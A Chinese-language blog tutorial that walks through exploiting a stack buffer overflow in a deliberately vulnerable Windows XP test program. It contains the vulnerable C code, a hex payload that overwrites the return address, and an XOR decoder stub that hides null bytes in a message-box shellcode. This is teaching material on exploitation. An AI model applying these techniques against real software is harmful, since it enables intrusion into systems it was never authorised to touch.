Windows Shellcode 学习笔记——shellcode 在栈溢出中的利用与优化

发布于 2024-11-07 13:54:47 字数 10182 浏览 20 评论 0

0x00 前言

在 《Windows Shellcode 学习笔记——shellcode 的提取与测试》 中介绍了如何对 shellcode 作初步优化,动态获取 Windows API 地址并调用,并通过程序实现自动提取机器码作为 shellcode 并保存到文件中。

弹框实例 shellcode 的 bin 文件已上传至 github,地址如下:https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

注:shellcode.bin 由 getshellcode.cpp 生成

getshellcode.cpp 地址如下:https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp

接下来,要研究 shellcode 在具体环境中的使用和优化技巧

0x01 简介

先从最入门的缓冲区溢出开始

本文将要结合《0day 安全:软件漏洞分析技术》中的“栈溢出原理与实践”章节,以其中的栈溢出代码作样本,优化我们自己生成的弹框实例 shellcode,实现在栈溢出中的初步利用。

0x02 相关概念

栈区:

用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行

特殊寄存器:

ESP:栈指针寄存器(extended stack pointer),指向栈顶

EBP:基址指针寄存器(extended base pointer),指向栈底

EIP:指令寄存器(extended instruction pointer),指向下一条等待执行的指令地址

函数代码在栈中保存顺序(直观理解,已省略其他细节):

  • buffer
  • 前栈帧 EBP
  • 返回地址
  • ESP

函数栈溢出原理(直观理解,已省略其他细节):

正常情况下函数在返回过程中,最后会执行返回地址中保存的内容,通常是跳到下一条指令的地址

如果 buffer 长度过长,长到覆盖了返回地址的值,那么函数在返回时,就会执行被覆盖的内容

如果将 shellcode 保存到 buffer 中,覆盖的返回地址为 shellcode 的起始地址,那么,shellcode 将得到执行,完成栈溢出的利用

0x03 栈溢出实例测试

样本代码如下:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"

int verify_password (char *password)
{
    int authenticated;
    char buffer[44];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);
    return authenticated;
}

int main()
{
    int valid_flag=0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+")))
        return 0;
    fread(password,56,1,fp);
    valid_flag=verify_password(password);
    if(valid_flag)
    {
        printf("wrong\n");
    }
    else
    {
        printf("right\n");    
    }
    fclose(fp);
    return 0;
}

注:代码选自章节 2.4.2 中的实验代码,作细微调整 其中 fscanf(fp,"%s",password) 在遇到空格和换行符时结束,如果 shellcode 中包含空格(0x20),会被截断,导致读取文件不完整

因此,将其替换为 fread(password,56,1,fp);

数组 password 长度为 56,数组 buffer 长度为 44,在执行 strcpy(buffer,password);时存在栈溢出

根据函数栈溢出原理,实现栈溢出需要以下过程:

(1) 分析并调试程序,获得淹没返回地址的偏移

(2) 获得 buffer 的起始地址,根据获得的偏移将其覆盖返回地址,使得函数返回时执行 buffer 起始地址保存的代码

(3) 提取弹框操作的机器码并保存于 buffer 的起始地址处,在函数返回时得到执行

测试系统:Win XP

编译器:VC6.0

build 版本: debug 版本

(1) 分析并调试程序,获得淹没返回地址的偏移

可在 password.txt 中填入 56 个测试字符,使用 OllyDbg 打开程序,定位到函数返回地址

如图

Alt text

返回地址刚好被覆盖

(2) 获得 buffer 的起始地址并覆盖返回地址

如图

Alt text

获得 buffer 的起始地址: 0012FB7C

注:在不同系统下 buffer 的起始地址不同

使用 0012FB7C 覆盖返回地址,即 password.txt 的 53-56 位的十六进制字符为 7CFB1200(逆序保存)

(3) 提取弹框操作的机器码

参照《0day 安全:软件漏洞分析技术》中的方法,使用 Dependency Walker 获取 ueser32.ll 的基地址为 0x77D10000 MessageBoxA 的偏移地址为 0x000407EA

如图

Alt text

因此 MessageBoxA 在该系统上内存中的入口地址为 0x77D10000+0x000407EA=0x77D507EA

替换书中 MessageBoxA 对应函数入口地址的机器码

最终 password.txt 内容如下(十六进制视图):

00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3 跾 hwesthfail 嬆 S 00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS 戈.誻袗悙悙? 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.

最终程序运行如图,栈溢出在我们的测试系统上触发成功

Alt text

0x03 弹框实例 shellcode 在栈溢出的优化

上节简单介绍了一下栈溢出实例的原理和操作方法,本节将要介绍如何优化我们自己开发的 shellcode,即弹框实例 shellcode,结合具体漏洞,实现利用

弹框实例 shellcode 下载地址:https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

shellcode 长度 1536

(1) 修改实例程序,使其数组足以保存我们的 shellcode

完整代码如下:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"

int verify_password (char *password)
{
    int authenticated;
    char buffer[1556];
    authenticated=strcmp(password,PASSWORD);
    strcpy(buffer,password);
    return authenticated;
}

int main()
{
    int valid_flag=0;
    char password[2048]={0};
    FILE *fp;
    if(!(fp=fopen("password2.txt","rb")))
        return 0;
    fread(password,1568,1,fp);
    valid_flag=verify_password(password);
    if(valid_flag)
    {
        printf("wrong\n");
    }
    else
    {
        printf("right\n");
    }
    fclose(fp);
    return 0;
}

buffer 长度增大到 1556,用于保存弹框实例 shellcode

根据上节实例,淹没返回地址的偏移 9-12,因此 password 的长度增加到 1556+12=1568

(2) strcpy 遇到字符 00 会截断

如图

Alt text

弹框实例 shellcode 在 00000009h 处字符为 0x00,strcpy 在执行时遇到 0x00 会提前截断,导致 shellcode 不完整,无法覆盖返回地址

所以,需要对 shellcode 进行编码

为方便读者理解,参照《0day 安全:软件漏洞分析技术》中 3.5.2 节的方法(此章节有详细说明,不再赘述过程):

  • shellcode 尾部添加结束字符 0x90
  • 将 shellcode 逐字节同 0x44 作异或加密
  • 汇编实现解码器并提取机器码
  • 解码器的机器码放于 shellcode 首部
  • 解码器将 EAX 对准 shellcode 起始位置,逐字节同 0x44 异或进行解密,遇到 0x90 停止

解码器的汇编代码如下:

void main()
{
    __asm
    {
        add eax,0x14
        xor ecx,ecx
decode_loop:
        mov bl,[eax+ecx]
        xor bl,0x44
        mov [eax+ecx],bl
        inc ecx
        cmp bl,0x90
        jne decode_loop
    }
}

使用 OllyDbg 提取出机器码如下:"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"

新的 shellcode 格式如下:解码器机器码+加密的弹框实例 shellcode+0xD4+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

注:

  • 0x90^0x44=0xD4,0xD4 即编码后的结束字符
  • "\x90\x90\x90\x90\x90\x90\x90"为填充字符串,无意义
  • "\x7C\xFB\x12\x00"为覆盖的函数返回地址

(3) 0xD4 冲突

如图

Alt text

弹框实例 shellcode 中也包含结束字符 0xD4,解密时 shellcode 会被提前截断,所以需要选择一个新的结束字符

当然也可以对 shellcode 分段加密,针对此 shellcode,恰巧 0xD5 未出现,因此使用 0xD5 作结束字符串即可,解密字符为 0x91

修改后的机器码如下:"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"

修改后的 shellcode 格式如下:解码器机器码+加密的弹框实例 shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

(4) shellcode 编码测试

编写程序实现自动读取原 shellcode,加密,添加解密机器码,添加结束字符

程序已上传至 github:https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp

执行后如图,产生新的 shellcode 文件,并在屏幕输出 c 格式的 shellcode

Alt text

使用如下代码,结合屏幕输出 c 格式的 shellcode,替换数组内容,对新的加密 shellcode 测试

由于代码较长,所以上传至 github,地址如下:https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp

如图,shellcode 执行,成功实现解码器

Alt text

(5) 新 shellcode 在栈溢出中的测试

填上解码器机器码,完整的 shellcode 格式如下:"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例 shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

在栈溢出测试程序中仍然报错,使用 OllyDbg 加载继续调试

如下图,成功覆盖函数返回地址,接着按 F8 进行单步调试

Alt text

如下图,此时发现异常,EAX 寄存器的值为 909090D5,正常情况下 EAX 的值应该为 Buffer 的起始地址,这样才能成功找到 shellcode 并对其解密

Alt text

而寄存器 EDX 却保存了 Buffer 的起始地址

所以,我们需要对解码器作修改

(6) 修改解码器

选择一个最简单直接的方法,将 EDX 对准 shellcode 的起始位置,实现的汇编代码如下:

void main()
{
    __asm
    {
        add edx,0x14
        xor ecx,ecx
decode_loop:
        mov bl,[edx+ecx]
        xor bl,0x44
        mov [edx+ecx],bl
        inc ecx
        cmp bl,0x90
        jne decode_loop

    }
}

在 OllyDbg 中加载程序并提取机器码,如图

Alt text

新的解码器机器码为:"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"

最终的 shellcode 代码为:"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的弹框实例 shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"

完整 shellcode 代码已上传至 github,地址为:https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin

再次测试栈溢出,如图,shellcode 成功执行

Alt text

由于 shellcode 是我们自己实现的动态获取 API 地址,所以栈溢出测试程序中的 LoadLibrary("user32.dll"); 可以省略

0x04 小结

本文对栈溢出原理作了简要描述,着重介绍了在具体的栈溢出环境下,shellcode 的优化、调试和利用技巧,当然,上述 shellcode 存在一个不足:shellcode 在内存中的起始地址往往不固定,导致漏洞利用不一定成功

下一篇文章将要解决这个问题。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

暂无简介

0 文章
0 评论
23 人气
更多

推荐作者

avyhlj

文章 0 评论 0

廾匸

文章 0 评论 0

自演自醉

文章 0 评论 0

臧立杰

文章 0 评论 0

mb_XvqQsWhl

文章 0 评论 0

鲜血染红嫁衣

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文